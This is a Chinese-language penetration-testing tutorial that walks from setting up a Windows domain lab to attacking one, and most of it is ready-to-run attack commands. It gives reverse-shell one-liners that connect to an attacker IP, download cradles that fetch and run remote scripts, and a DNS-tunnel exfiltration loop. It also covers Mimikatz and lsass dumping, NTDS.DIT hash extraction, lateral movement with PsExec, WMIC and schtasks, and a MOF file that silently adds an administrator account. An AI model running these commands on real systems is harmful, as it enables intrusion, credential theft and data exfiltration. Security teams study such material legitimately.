从零开始内网渗透学习
字数 3687 2025-08-29 08:31:47
内网渗透学习指南:从零开始构建域环境与渗透测试
一、域环境搭建
1.1 准备工作
- 所需系统:
- DC (域控制器): Windows Server 2008
- DM (域成员): Windows Server 2003
- DM (域成员): Windows XP
1.2 域控制器配置步骤
- 修改计算机名:为DC设置合适的名称
- 配置固定IP:
- 确保网关设置正确(常见错误:网关设置错误应为192.168.206.2)
- 服务器管理器配置:
- 添加"Active Directory域服务"角色
- 安装域服务:
- 命令行执行:
dcpromo - 注意:本地administrator密码需符合强密码要求,否则安装会失败
- 命令行执行:
- 设置林根域:
- 林指多域情况下形成的森林结构
- 根表示基础域,其他域在此根部衍生
- 指定域数据存放地址
1.3 域成员配置
- 网络配置:
- DNS服务器应设置为主域控IP地址
- 加入域:
- 使用域管理员凭据将成员机加入域
域搭建完成后,主域控会自动生成
krbtgt账号,这是Windows活动目录中使用的客户/服务器认证协议,为通信双方提供双向身份认证
二、端口转发与边界代理技术
2.1 Windows端口转发工具
LCX工具
- 监听1234端口并转发到2333端口:
lcx.exe -listen 1234 2333 - 将目标3389端口转发到本地1234端口:
lcx.exe -slave 攻击机IP 1234 127.0.0.1 3389
netsh命令
- 添加转发规则:
netsh interface portproxy set v4tov4 listenaddress=192.168.206.101 listenport=3333 connectaddress=192.168.206.100 connectport=3389 - 删除转发规则:
netsh interface portproxy delete v4tov4 listenport=9090 - 查看现有规则:
netsh interface portproxy show all
注意:XP系统需要先安装IPv6支持:
netsh interface ipv6 install
2.2 Linux端口转发工具
portmap工具
- 监听1234端口并转发到2333端口:
./portmap -m 2 -p1 1234 -p2 2333 - 将目标3389端口转发到本地1234端口:
./portmap -m 1 -p1 3389 -h2 目标IP -p2 1234
iptables配置
- 编辑
/etc/sysctl.conf:net.ipv4.ip_forward = 1 - 关闭服务:
service iptables stop - 配置规则示例:
iptables -t nat -A PREROUTING --dst 边界IP -p tcp --dport 3389 -j DNAT --to-destination 内网IP:3389 iptables -t nat -A POSTROUTING --dst 内网IP -p tcp --dport 3389 -j SNAT --to-source 边界IP - 保存并重启服务:
service iptables save && service iptables start
2.3 Socket代理工具
Windows环境
- 推荐使用Proxifier进行socket连接
Linux环境
- 推荐使用proxychains:
- 配置文件路径:
/etc/proxychains.conf - 添加代理规则:
socks5 127.0.0.1 8888 - 使用方式:在命令前加
proxychains
- 配置文件路径:
EarthWorm工具
- 跨平台+端口转发+socket代理结合体
- 支持多种代理模式
2.4 HTTP隧道技术
Tunna工具
- 端口转发示例:
python proxy.py -u http://目标网站/conn.jsp -l 1234 -r 3389 -v - 转发SSH等不能中断的服务:
python proxy.py -u http://目标网站/conn.jsp -l 1234 -r 22 -v -s
reGeorg工具
- SOCKS代理示例:
python reGeorgSocksProxy.py -u http://目标IP/tunnel.php -p 8081
2.5 SSH通道技术
端口转发
- 本地转发:
ssh -CfNg -L 本地端口:127.0.0.1:远程端口 用户名@目标主机 - 远程转发:
ssh -CfNg -R 远程端口:127.0.0.1:本地端口 用户名@目标主机
SOCKS代理
- 创建SOCKS代理:
ssh -qTfnN -D 端口 远程主机
三、Shell获取技术
3.1 常规Shell反弹
Bash反弹
bash -i >& /dev/tcp/攻击IP/端口 0>&1
Python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
NC反弹
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 攻击IP 端口 >/tmp/f
3.2 ICMP Shell反弹
- 适用于防火墙限制TCP但允许ICMP的情况
- Kali端运行:
./icmpsh_m.py 攻击IP 目标IP - Windows端运行:
icmpsh.exe -t KaliIP -d 500 -b 30 -s 128
3.3 正向Shell
- Linux:
nc -e /bin/sh -lp 端口 - Windows:
nc.exe -e cmd.exe -lp 端口
四、内网信息收集
4.1 基本命令
网络信息收集
- 获取当前组计算机名:
net view - 查看所有域:
net view /domain - 从计算机名获取IP:
ping -n 1 计算机名 -4 - 批量Ping获取IP(BAT脚本):
@echo off setlocal ENABLEDELAYEDEXPANSION @FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO ( @FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO ( @FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j) ) )
用户与组信息
- 查看域中用户名:
net user /domain 或 dsquery user - 查询域组名称:
net group /domain - 查询域管理员:
net group "Domain Admins" /domain - 添加域管理员账号:
net user 用户名 密码 /add /domain net group "Domain Admins" 用户名 /add /domain
系统信息
- 查看当前计算机信息:
net config Workstation - 查看域控制器:
net group "Domain controllers" - 查询所有计算机名称:
dsquery computer 或 net group "Domain Computers" /domain
4.2 定位域控技术
- 查看域时间及域服务器名:
net time /domain - DNS查询:
nslookup -type=SRV _ldap._tcp. - 通过ipconfig查找DNS地址:
ipconfig /all - 查询域控:
net group "Domain Controllers" /domain
4.3 端口扫描与分析
常见内网端口利用
| 端口 | 服务 | 攻击技巧 |
|---|---|---|
| 21/22/69 | FTP/TFTP | 爆破、嗅探、溢出、后门 |
| 23 | Telnet | 爆破、嗅探 |
| 25 | SMTP | 邮件伪造 |
| 53 | DNS | 区域传输、劫持、缓存投毒 |
| 135 | RPC | 溢出攻击 |
| 139 | SMB | 爆破、未授权访问 |
| 389 | LDAP | 注入攻击 |
| 1433 | MSSQL | 爆破、注入 |
| 3389 | RDP | 爆破、Shift后门 |
| 5985 | WinRM | PowerShell远程管理 |
扫描工具
-
nbtscan:
- 获取MAC地址:
nbtstat -A IP - 扫描网络:
nbtscan 192.168.1.0/24 - 关键信息:
SHARING表示开放共享,DC表示可能是域控
- 获取MAC地址:
-
WinScanX:
WinScanX.exe -3 目标IP 域名\用户名 密码 -a > 结果.txt可获取详细系统信息,包括SNMP信息和密码猜解
-
InsightScan:
proxychains python scanner.py 192.168.0.0/24 -N
五、内网文件传输技术
5.1 Windows文件传输
PowerShell下载
$d = New-Object System.Net.WebClient
$d.DownloadFile("http://攻击机/file.zip","c:/1.zip")
执行时可能需要绕过限制:
powershell -ExecutionPolicy Bypass -File .\script.ps1
VBS脚本下载
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://攻击机/file.zip",0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile "c:\file.zip",2
执行:cscript test.vbs
bitsadmin下载
bitsadmin /transfer 任务名 http://攻击机/file.zip c:\1.zip
文件共享
net use x: \\IP\share /user:域名\用户 密码
Telnet接收数据
- 服务端:
nc -lvp 23 < nc.exe - 下载端:
telnet IP -f c:\nc.exe
5.2 Linux文件传输
Perl下载
#!/usr/bin/perl
use LWP::Simple
getstore("http://攻击机/file.zip", "/root/1.zip");
Python下载
#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://攻击机/file.zip')
localFile = open('/root/1.zip', 'w')
localFile.write(u.read())
localFile.close()
Wget下载
wget http://攻击机/file.zip -P /root/
通过SSH上传
tar zcf - /本地目录 | ssh 用户名@远程主机 "cd /目标路径;tar zxpf -"
DNS隧道传输
tar zcf - 本地目录 | xxd -p -c 16 | while read line; do host $line.域名.com 远程主机; done
5.3 其他传输方式
FTP下载
Windows下非交互式下载:
echo open 主机 > ftp.txt
echo 用户名 >> ftp.txt
echo 密码 >> ftp.txt
echo bin >> ftp.txt
echo get 文件 >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt
NC传输
- 服务端:
cat 文件 | nc -l 端口 - 下载端:
nc 主机IP 端口 > 文件
SMB共享
Linux配置SMB:
[共享名]
comment = File Server Share
path = /tmp/
browseable = yes
writable = yes
guest ok = yes
read only = no
create mask = 0755
Windows连接:
net use 盘符: \\IP\共享名
六、Hash抓取技术
6.1 Windows Hash简介
- LM Hash:较旧的不安全算法,Win2000/XP/2003默认使用
- NTLM Hash:较新的算法,当密码超过14位时使用
- Hash存储位置:
- SAM文件:本地用户
- NTDS.DIT文件:域用户
6.2 本地Hash抓取
PowerShell脚本
Get-PassHashes.ps1
注册表导出+分析
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
使用QuarkPwDump分析:
QuarkPwDump.exe -dhl -o "c:\hash.txt"
明文密码抓取
- GetPass工具:从内存获取明文密码
- Win8/2012需要修改注册表:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
6.3 Mimikatz使用
- 获取内存中的明文密码:
privilege::debug sekurlsa::logonpasswords - 非交互式抓取:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > password.txt - PowerShell加载:
IEX (New-Object Net.WebClient).DownloadString('http://攻击机/Invoke-Mimikatz.ps1'); Invoke-Mimikatz - ProcDump+本地分析:
procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full"
6.4 域Hash抓取
ntdsutil导出NTDS.DIT
- 创建快照:
ntdsutil snapshot "activate instance ntds" create quit quit - 挂载快照:
ntdsutil snapshot "mount {GUID}" quit quit - 复制文件:
copy MOUNT_POINT\windows\ntds\ntds.dit c:\ntds.dit - 卸载删除快照:
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
QuarkPwDump分析
- 在线提取:
QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit - 离线提取(需system.hiv):
QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\system.hiv
vssown.vbs + libesedb + NtdsXtract
- 使用vssown.vbs创建卷影拷贝:
cscript vssown.vbs /start cscript vssown.vbs /create c cscript vssown.vbs /list cscript vssown.vbs /delete {GUID} - 复制出ntds.dit和system文件
- Linux环境下使用libesedb和NtdsXtract分析
PowerShell(DSInternals)分析
- 允许执行脚本:
Set-ExecutionPolicy Unrestricted - 导入模块:
Import-Module .\DSInternals - 分析Hash:
$key = Get-BootKey -SystemHivePath 'C:\SYSTEM' Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -BootKey $key | Out-File hash.txt
七、远程连接与执行技术
7.1 at&schtasks
- 经典流程:
- 建立IPC$连接:
net use \\目标IP\ipc$ 密码 /user:账号 - 复制文件:
copy batch.bat \\目标IP\admin$\batch.bat - 查看时间:
net time \\目标IP - 添加任务:
注意:6:21指上午时间,下午需用6.21PMat \\目标IP 时间 \\目标IP\admin$\batch.bat - 查看任务:
at \\目标IP
- 建立IPC$连接:
7.2 PsExec
- 基本用法:
psexec.exe \\目标IP -u 用户名 -p 密码 program.exe - 常用参数:
-c:拷贝文件到远程机器并运行(运行后自动删除)-d:不等待程序执行完就返回-accepteula:绕过首次运行的许可协议
7.3 WMIC
- 执行命令:
wmic /node:目标IP /user:用户名 /password:密码 process call create "c:\windows\temp\batch.bat"
7.4 wmiexec.vbs
- 半交互模式:
cscript.exe //nologo wmiexec.vbs /shell 目标IP 用户名 密码 - 单命令执行:
cscript.exe wmiexec.vbs /cmd 目标IP 用户名 密码 "命令" - Hash注入:
wce -s LMHASH:NTHASH cscript.exe //nologo wmiexec.vbs /shell 目标IP
7.5 smbexec
- 使用方式:
smbexec.exe 目标IP 用户名 密码 命令 共享名
7.6 PowerShell Remoting
- 示例:
Invoke-PowerShellWmi.ps1 -ComputerName 目标IP -Username 用户名 -Password 密码 -Command "命令"
7.7 SC创建服务
- 系统权限:
sc \\目标IP create 服务名 binpath= c:\cmd.exe sc \\目标IP start 服务名 sc \\目标IP delete 服务名 - 指定用户权限:
sc \\目标IP create 服务名 binpath= "c:\cmd.exe" obj= "域名\用户名" password= 密码
7.8 schtasks计划任务
- 创建任务:
schtasks /create /tn 任务名 /tr 执行命令 /sc once /st 时间 /S 目标IP /RU System - 运行任务:
schtasks /run /tn 任务名 /S 目标IP - 删除任务:
schtasks /F /delete /tn 任务名 /S 目标IP
7.9 SMB+MOF/DLL劫持
- MOF文件示例:
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin Admin123! /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
7.10 PTH + compmgmt.msc
- 使用Pass-the-Hash攻击配合计算机管理工具进行远程管理
八、实用技巧与工具
8.1 文件编译技术
PowerShell转换exe与txt
- Exe转Text:
[byte[]] $hexdump = get-content -encoding byte -path "nc.exe" [System.IO.File]::WriteAllLines("nc.txt", ([string]$hexdump)) - Text转Exe:
[String]$hexdump = get-content -path "nc.txt" [Byte[]] $temp = $hexdump -split ' ' [System.IO.File]::WriteAllBytes("nc1.exe", $temp)
csc.exe编译C#源码
csc.exe /out:C:\path\output.exe C:\path\source.cs
debug程序转换
- 将exe转换为hex格式
- 通过echo写入文件
- 使用debug还原为exe
8.2 内网渗透常用工具
- EarthWorm:跨平台端口转发与代理
- Tunna:HTTP隧道工具
- reGeorg:基于Web的SOCKS代理
- QuarkPwDump:Hash提取工具
- Mimikatz:凭据提取神器
- Nishang:PowerShell渗透框架
- DSInternals:PowerShell活动目录分析工具
- ProcDump:进程内存转储工具
- vshadow:微软卷影拷贝工具
- libesedb+NtdsXtract:NTDS.DIT分析工具链